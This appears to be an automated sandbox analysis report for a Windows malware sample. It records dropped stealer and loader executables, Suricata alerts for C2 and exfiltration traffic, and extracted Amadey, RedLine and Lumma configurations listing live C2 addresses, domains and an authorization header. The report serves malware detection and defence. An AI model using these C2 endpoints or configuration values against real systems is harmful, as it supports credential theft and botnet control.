2024-12-14T14:59:54.239553+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:24.277173+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:00:54.287485+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:24.313258+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:01:54.328188+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:24.361445+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:02:54.373573+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:24.392038+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP
2024-12-14T15:03:54.410301+0100	2852873	1	Malware Command and Control Activity Detected	192.168.2.5	50165	107.189.17.186	7000	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Avira: detection malicious, Label: TR/Dropper.Gen

Found malware configuration

Source: 00000002.00000003.2076189455.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 17.0.6737.tmp.fcxcx.exe.930000.0.unpack	Malware Configuration Extractor: RedLine {"C2 url": ["185.81.68.147:1912"], "Bot Id": "fvcxcx", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}
Source: 6c29e572e4.exe.4592.16.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["covery-mover.biz", "se-blurry.biz", "fightlsoser.click", "zinc-sneark.biz", "dwell-exclaim.biz", "formy-spill.biz", "print-vexer.biz", "dare-curbys.biz", "impend-differ.biz"], "Build id": "cMBsTw--Installs"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Virustotal: Detection: 77%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Virustotal: Detection: 73%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Virustotal: Detection: 53%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Virustotal: Detection: 78%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K6UAlAU[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe	ReversingLabs: Detection: 43%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	ReversingLabs: Detection: 42%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 56%			Perma Link
Source: file.exe	ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.1% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K6UAlAU[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.35.43:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.35.43:443 -> 192.168.2.5:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.5:50233 version: TLS 1.2

Source:	Binary string: C:\Users\Administrator\Desktop\Cryptor2\Workspace\940993430\Project\Release\Project.pdb source: 6c29e572e4.exe, 00000010.00000003.3258041097.0000000002A0D000.00000004.00000800.00020000.00000000.sdmp, 6c29e572e4.exe, 00000010.00000002.3362123286.00000000007BC000.00000002.00000001.01000000.0000000D.sdmp, 6c29e572e4.exe, 00000010.00000000.2864105455.00000000007BC000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: System.ServiceModel.pdb source: 6737.tmp.fcxcx.exe, 00000011.00000002.3319390021.00000000060E0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 6737.tmp.fcxcx.exe, 00000011.00000002.3236899013.0000000000E61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: 6737.tmp.fcxcx.exe, 00000011.00000002.3329448586.00000000061D6000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	16_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov edx, ecx	16_2_00409CC0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	16_2_0042A060
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	16_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov edx, ecx	16_2_0041D074
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov edx, ecx	16_2_0041D087
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [esi], cl	16_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [esi], cl	16_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	16_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	16_2_0041597D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	16_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov edi, eax	16_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov ebx, eax	16_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov ebp, eax	16_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	16_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	16_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov ecx, eax	16_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	16_2_0040C274
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	16_2_00425230
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	16_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov edx, ebx	16_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	16_2_0042AAD0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [eax], cl	16_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then push eax	16_2_0040C36E
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx ebx, bx	16_2_0042536C
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	16_2_00402B70
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [ecx], dx	16_2_00427307
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	16_2_00436B20
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	16_2_0043DBD0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	16_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	16_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then jmp eax	16_2_0042B475
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	16_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	16_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [ebx], al	16_2_0042B4BB
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	16_2_004345F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	16_2_00427653
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [edx], bl	16_2_0040CE55
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	16_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	16_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	16_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov byte ptr [esi], al	16_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	16_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	16_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	16_2_004296D8
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	16_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_00421EE0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp al, 2Eh	16_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [eax], dx	16_2_00417E82
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	16_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	16_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov edi, eax	16_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	16_2_0041CEA5
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then add ebx, 03h	16_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	16_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp dword ptr [ecx+edx*8], B430E561h	16_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov ecx, edx	16_2_00414F08
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [eax], cx	16_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then mov word ptr [ecx], dx	16_2_00420717
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	16_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	16_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2298EE00h	16_2_0043DFB0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49816 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49839 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49827
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49848 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49848 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49845 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49848 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49845 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49853 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49845 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49853 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49853 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.5:49870 -> 185.81.68.147:1912
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.5:49870 -> 185.81.68.147:1912
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 185.81.68.147:1912 -> 192.168.2.5:49870
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49871 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 185.81.68.147:1912 -> 192.168.2.5:49870
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49907 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49906 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49906 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49906 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49912 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49912 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49912 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49919 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49919 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49919 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49925 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49925 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49925 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49928 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49928 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49928 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49934 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49934 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49934 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49943 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49943 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49943 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49930 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49950 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49950 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49950 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49956 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49956 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49956 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49958 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:63673 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.5:63673 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49963 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49963 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022986 - Severity 1 - ET MALWARE Generic Request to gate.php Dotted-Quad : 192.168.2.5:49963 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:57652 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.5:57652 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2017930 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no referer : 192.168.2.5:49969 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2022985 - Severity 1 - ET MALWARE Trojan Generic - POST To gate.php with no accept headers : 192.168.2.5:49969 -> 185.81.68.147:80
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.5:49670 -> 1.1.1.1:53
